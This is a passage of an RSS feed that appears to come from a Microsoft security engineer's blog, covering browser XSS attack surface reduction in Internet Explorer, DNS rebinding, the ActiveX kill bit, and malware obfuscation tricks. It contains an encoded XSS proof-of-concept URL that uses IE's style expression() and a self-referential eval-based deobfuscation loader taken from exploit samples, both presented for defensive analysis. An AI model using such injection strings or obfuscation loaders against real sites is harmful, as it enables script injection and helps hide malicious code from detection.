&lt;TABLE class=MsoNormalTable style="BACKGROUND: #e0e0e0; MARGIN: auto auto auto 5.75pt; BORDER-COLLAPSE: collapse; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 0in 0in 0in" cellSpacing=0 cellPadding=0 border=0 class="MsoNormalTable"&gt;
&lt;TBODY&gt;
&lt;TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.75pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.75pt; PADDING-BOTTOM: 0.05in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 100%; PADDING-TOP: 0.05in; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent" vAlign=top width=584&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 3pt; LINE-HEIGHT: 120%; TEXT-ALIGN: justify"&gt;&lt;SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 120%; FONT-FAMILY: 'Courier New'"&gt;http://[server]/[path]/[file].asp?id=70-305zzz+"+style="background-position-x:expression\0028\0065\0076\0061\006C\0028\0061\006C\0065\0072\0074\0028\0027pwn3d\0027\0029\0029\0029&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P&gt;This variation makes use Internet Explorer's support for &lt;A class="" title="Dynamic Properties" href="http://msdn2.microsoft.com/en-us/library/ms537634(VS.85).aspx" mce_href="http://msdn2.microsoft.com/en-us/library/ms537634(VS.85).aspx"&gt;Dynamic Properties&lt;/A&gt;.&amp;nbsp; The character sequence at the end of the URL is an encoded block of Javascript.&amp;nbsp; While the validation put into place at the server prevents an element from being closed off with a greater-than symbol, it does not prevent the addition of a new STYLE attribute on the element which can contain&amp;nbsp;a Dynamic Property&amp;nbsp;that Internet Explorer will then execute.&lt;/P&gt;
&lt;P&gt;The idea of XSS-Focused Attack Surface Reduction&amp;nbsp;is that we can&amp;nbsp;view&amp;nbsp;each instance of XSS as having been&amp;nbsp;enabled by&amp;nbsp;one of a finite number of XSS attack vectors existing in the browser.&amp;nbsp; Then&amp;nbsp;we can look at ways to regulate each of those&amp;nbsp;vectors&amp;nbsp;in order to&amp;nbsp;reduce the browser's&amp;nbsp;susceptibility to XSS.&lt;/P&gt;
&lt;P&gt;In this example above, the vector is&amp;nbsp;a behavior exposed by the&amp;nbsp;Dynamic Properties feature.&amp;nbsp; The&amp;nbsp;Dynamic Properties feature&amp;nbsp;provides real value as a feature in the browser, so it’s difficult to perform XSS-Focused Attack Surface Reduction without serious compatibility impact.&amp;nbsp; It’s something we have been looking at closely though.&lt;/P&gt;
&lt;P&gt;Fortunately, it turns out that in many cases XSS attack vectors are incidental behavior unlikely to be put to use by legitimate web content.&amp;nbsp; In these cases, XSS-Focused Attack Surface Reduction becomes much more feasible.&amp;nbsp;&lt;/P&gt;
&lt;P&gt;In Internet Explorer 7, an effort was made to reduce vulnerabilities involving the use of the special “javascript:” and “vbscript:” URL syntax.&amp;nbsp; Specifically, these URLs were disabled in some contexts.&amp;nbsp; This actually wasn’t intended to mitigate XSS per-se, but it was in fact an effective instance of XSS-Focused Attack Surface Reduction.&amp;nbsp; This is because the use of javascript:/vbscript: URLs in unusual places such as IMG or EMBED tags often enabled XSS where it wouldn’t otherwise be possible.&amp;nbsp; It was great to see that after we released IE7, &lt;A href="http://ha.ckers.org/blog/20061014/xss-cheat-sheet-updated-for-ie70" mce_href="http://ha.ckers.org/blog/20061014/xss-cheat-sheet-updated-for-ie70"&gt;RSnake noticed the change and updated his cheat sheet&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;Essentially, the change described above translates to one less tool available in the XSS exploit author’s toolbox.&amp;nbsp; This is what XSS-Focused Attack Surface Reduction strives to achieve.&lt;/P&gt;
&lt;P&gt;I’m happy to report that IE8&amp;nbsp;is delivering&amp;nbsp;additional XSS-Focused Attack Surface Reduction goodness.&amp;nbsp;&amp;nbsp;For Beta 1 you will notice a small but notable step forward – the &lt;/FONT&gt;&lt;A href="http://blogs.msdn.com/dross/archive/2006/10/01/780339.aspx" mce_href="http://blogs.msdn.com/dross/archive/2006/10/01/780339.aspx"&gt;US-ASCII XSS attack vector&lt;/A&gt; has now been closed.&amp;nbsp; RSnake, feel free to update your cheat sheet once again.&amp;nbsp; &lt;SPAN style="FONT-FAMILY: Wingdings"&gt;J&lt;/SPAN&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8137543" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Web+Application+Security/default.aspx">Web Application Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Cross-Site+Scripting/default.aspx">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/dross/archive/tags/XSS/default.aspx">XSS</category></item><item><title>The Kill-Bit FAQ - Part 1 of 3 posted to SVRD blog</title><link>http://blogs.msdn.com/dross/archive/2008/02/06/the-kill-bit-faq-part-1-of-3-posted-to-svrd-blog.aspx</link><pubDate>Wed, 06 Feb 2008 21:21:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:7495942</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/dross/comments/7495942.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=7495942</wfw:commentRss><description>&lt;P&gt;Check out my&amp;nbsp;ActiveX&amp;nbsp;&lt;A class="" title="Kill-Bit FAQ" href="http://blogs.technet.com/swi/archive/2008/02/06/The-Kill_2D00_Bit-FAQ_3A00_-Part-1-of-3.aspx" mce_href="http://blogs.technet.com/swi/archive/2008/02/06/The-Kill_2D00_Bit-FAQ_3A00_-Part-1-of-3.aspx"&gt;Kill-Bit FAQ&lt;/A&gt;&amp;nbsp;which is now&amp;nbsp;being posted&amp;nbsp;to the &lt;A class="" title="SVRD blog" href="http://blogs.technet.com/swi/" mce_href="http://blogs.technet.com/swi/"&gt;SVRD blog&lt;/A&gt;.&amp;nbsp; There are three parts, the first of which is now live.&amp;nbsp; Parts two and three should be up by the end of the week.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=7495942" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Kill-Bit/default.aspx">Kill-Bit</category><category domain="http://blogs.msdn.com/dross/archive/tags/ActiveX/default.aspx">ActiveX</category></item><item><title>An innovative new defense against cross-domain vulnerabilities</title><link>http://blogs.msdn.com/dross/archive/2007/08/22/an-innovative-new-defense-against-cross-domain-vulnerabilities.aspx</link><pubDate>Wed, 22 Aug 2007 22:48:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:4515180</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/dross/comments/4515180.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=4515180</wfw:commentRss><description>&lt;P&gt;Cross-domain (or “Universal XSS”) vulnerabilities have long plagued modern script-enabled web browsers.&amp;nbsp; &lt;A class="" title="Shuo Chen" href="http://research.microsoft.com/~shuochen/" mce_href="http://research.microsoft.com/~shuochen/"&gt;Shuo Chen&lt;/A&gt;&amp;nbsp;of &lt;A class="" title="Microsoft Research" href="http://research.microsoft.com/" mce_href="http://research.microsoft.com/"&gt;Microsoft Research&lt;/A&gt; has developed a new type of defense against these vulnerabilities.&amp;nbsp; A paper on this new approach has been accepted to the &lt;A class="" title="14th ACM Conference on Computer and Communications Security (CCS)" href="http://www.sigsac.org/ccs/CCS2007/" mce_href="http://www.sigsac.org/ccs/CCS2007/"&gt;14th ACM Conference on Computer and Communications Security (CCS)&lt;/A&gt;.&lt;BR&gt;&lt;BR&gt;&lt;A class="" title="An Analysis of Browser Domain-Isolation Bugs and A Light-Weight Transparent Defense Mechanism" href="http://research.microsoft.com/~shuochen/papers/ScriptAccenting.pdf" mce_href="http://research.microsoft.com/~shuochen/papers/ScriptAccenting.pdf"&gt;An Analysis of Browser Domain-Isolation Bugs and A Light-Weight Transparent Defense Mechanism&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;I contributed some time to Shuo’s project and assisted with providing technical background on historical cross-domain vulnerabilities in Internet Explorer.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=4515180" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category></item><item><title>Notes on DNS Pinning</title><link>http://blogs.msdn.com/dross/archive/2007/07/09/notes-on-dns-pinning.aspx</link><pubDate>Mon, 09 Jul 2007 22:15:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:3787282</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/dross/comments/3787282.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=3787282</wfw:commentRss><description>Christian Matthies has an excellent &lt;A title="writeup on DNS Pinning" href="http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html" mce_href="http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html"&gt;writeup on DNS Pinning&lt;/A&gt; (with diagrams!)&amp;nbsp; If you're &lt;A title="tuned into web app security" href="http://sla.ckers.org/forum" mce_href="http://sla.ckers.org/forum"&gt;tuned into web app security&lt;/A&gt; you've probably noticed a lot of discussion around Anti DNS Pinning a.k.a. DNS Rebinding a.k.a. Quick-Swap DNS lately.&amp;nbsp; You're likely to see a lot more such discussion after this year's &lt;A title=Blackhat href="http://www.blackhat.com/" mce_href="http://www.blackhat.com"&gt;Blackhat&lt;/A&gt;/&lt;A title=Defcon href="http://www.defcon.org/" mce_href="http://www.defcon.org"&gt;Defcon&lt;/A&gt; given that there are a number of related talks on the agenda.&amp;nbsp; If you're there, don't miss out on &lt;A title="Dan Kaminsky's talk" href="http://www.blackhat.com/html/bh-usa-07/bh-usa-07-speakers.html#Kaminsky" mce_href="http://www.blackhat.com/html/bh-usa-07/bh-usa-07-speakers.html#Kaminsky"&gt;Dan Kaminsky's talk&lt;/A&gt; in particular -- it should include a very slick demo! &lt;BR&gt;&amp;nbsp;&lt;BR&gt;There are a couple of details I'd like to add with respect how these issues relate to Microsoft products:&lt;BR&gt;&amp;nbsp;&lt;BR&gt;1)&amp;nbsp; There's been an assumption that IE actively implements DNS Pinning, as described in the 2002 &lt;A title="XWT Foundation Security Advisory" href="http://www.megacz.com/research/sop.txt" mce_href="http://www.megacz.com/research/sop.txt"&gt;XWT Foundation Security Advisory&lt;/A&gt;.&amp;nbsp; IE has never implemented a specific DNS Pinning feature.&amp;nbsp; It just happens that the steps necessary to make a working demonstration require some smart manipulation of IE's session management and caching behavior.&amp;nbsp; The steps required also may vary between different versions of IE.&amp;nbsp; So basically, any DNS Pinning type behavior observed in IE is incidental.&lt;BR&gt;&amp;nbsp;&lt;BR&gt;2)&amp;nbsp; “Anti Anti Anti DNS Pinning” has been specifically addressed in the version of XMLHTTP that ships with Windows Vista and Windows Server 2003 SP2.&amp;nbsp; If a web server implements Host header validation, that should be enough to guarantee the server won't be the target of anti-DNS Pinning via XMLHTTP.&amp;nbsp; After &lt;A title="implementing HOST headers for a web site" href="http://support.microsoft.com/kb/190008" mce_href="http://support.microsoft.com/kb/190008"&gt;implementing HOST headers for a web site&lt;/A&gt; you can validate that content requested without the appropriate Host header is not served.&amp;nbsp; The linked article mentions IIS 5 but the instructions also apply to IIS 6.&amp;nbsp; If there's a way for an Internet web page to send an HTTP request with an arbitrary Host header, I would say that's a bug in need of a fix.&lt;BR&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=3787282" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Web+Application+Security/default.aspx">Web Application Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/DNS+Rebinding/default.aspx">DNS Rebinding</category></item><item><title>eval() and document.write(), meet Execute and ExecuteGlobal</title><link>http://blogs.msdn.com/dross/archive/2006/11/16/eval-and-document-write-meet-execute-and-executeglobal.aspx</link><pubDate>Fri, 17 Nov 2006 00:35:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:1089017</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/dross/comments/1089017.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=1089017</wfw:commentRss><description>&lt;P&gt;Be on the lookout for these two VBScript statements that can be used&amp;nbsp;to achieve the same effect as&amp;nbsp;eval() and document.write(): &lt;A class="" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/script56/html/c9cddcbd-2d2b-4139-bb21-c21136f2df81.asp" mce_href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/script56/html/c9cddcbd-2d2b-4139-bb21-c21136f2df81.asp"&gt;Execute&lt;/A&gt; and &lt;A class="" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/script56/html/25ebfa26-d3b9-4f82-b3c9-a8568a389dbc.asp" mce_href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/script56/html/25ebfa26-d3b9-4f82-b3c9-a8568a389dbc.asp"&gt;ExecuteGlobal&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;Jonathan Ness pointed me to an exploit&amp;nbsp;sample that was using Execute, presumably to trip up any eval() or document.write() dependent detection logic or automatic de-obfuscation.&amp;nbsp; Thanks JNess!&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=1089017" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/De-obfuscation/default.aspx">De-obfuscation</category></item><item><title>Recursive Obfuscation</title><link>http://blogs.msdn.com/dross/archive/2006/10/05/Recursive-Obfuscation.aspx</link><pubDate>Thu, 05 Oct 2006 22:10:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:794426</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/dross/comments/794426.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=794426</wfw:commentRss><description>&lt;P class=MsoNormal&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Thanks to &lt;?XML:NAMESPACE PREFIX = U1 /&gt;&lt;U1:PERSONNAME u2:st="on"&gt;&lt;?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" /&gt;&lt;st1:PersonName w:st="on"&gt;Jonathan Ness&lt;/U1:PERSONNAME&gt;&lt;/st1:PersonName&gt; for pointing me to an example of a new obfuscation technique that attempts to thwart the &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;eval()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Wingdings size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Wingdings"&gt;à&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;alert()&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt; trick&lt;FONT color=blue&gt;&lt;SPAN style="COLOR: blue"&gt;.&lt;BR&gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"&gt;Take a look at the following obfuscation script:&lt;BR&gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;1&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;&amp;lt;script&amp;gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;2&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;function N(F,D)&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;3&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;{&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;4&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;if (!D) D = ' "#%()-./012348:;&amp;lt;=&amp;gt;@ACEGHILMOPRTVWY\\]_abcdefghijlmnopqrstuvwxyz';&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;5&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;&amp;nbsp;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;6&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;var f;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;7&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;var V='';&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;8&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;&amp;nbsp;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;9&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;for (var c=0;c&amp;lt;F.length;c+=&lt;B&gt;&lt;SPAN style="FONT-WEIGHT: bold"&gt;arguments.callee.toString()&lt;/SPAN&gt;&lt;/B&gt;.length-380)&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;10&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;{&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;11&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;f = ( (D.indexOf(F.charAt(c))&amp;amp;255)&amp;lt;&amp;lt;18) | &lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;12&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: Arial"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;((D.indexOf(F.charAt(c+1))&amp;amp;255)&amp;lt;&amp;lt;12) |&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;13&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;((D.indexOf(F.charAt(c+2))&amp;amp;255)&amp;lt;&amp;lt;6) | &lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;14&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face=Arial color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: Arial"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;(D.indexOf(F.charAt(c+3))&amp;amp;255);&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;15&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;V += String.fromCharCode((f&amp;amp;16711680)&amp;gt;&amp;gt;16,(f&amp;amp;65280)&amp;gt;&amp;gt;8,f&amp;amp;255);&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;16&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;}&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;17&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;&amp;nbsp;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;18&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;eval(V);&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;19&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;}&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;20&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;&amp;lt;/script&amp;gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;21&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;&amp;lt;script&amp;gt;&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; COLOR: blue; FONT-FAMILY: 'Courier New'"&gt;22&amp;nbsp; &lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" size=2&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;N('[obfuscated goo &lt;STRONG&gt;v1&lt;/STRONG&gt;]')&lt;BR&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;FONT face="Courier New" color=blue 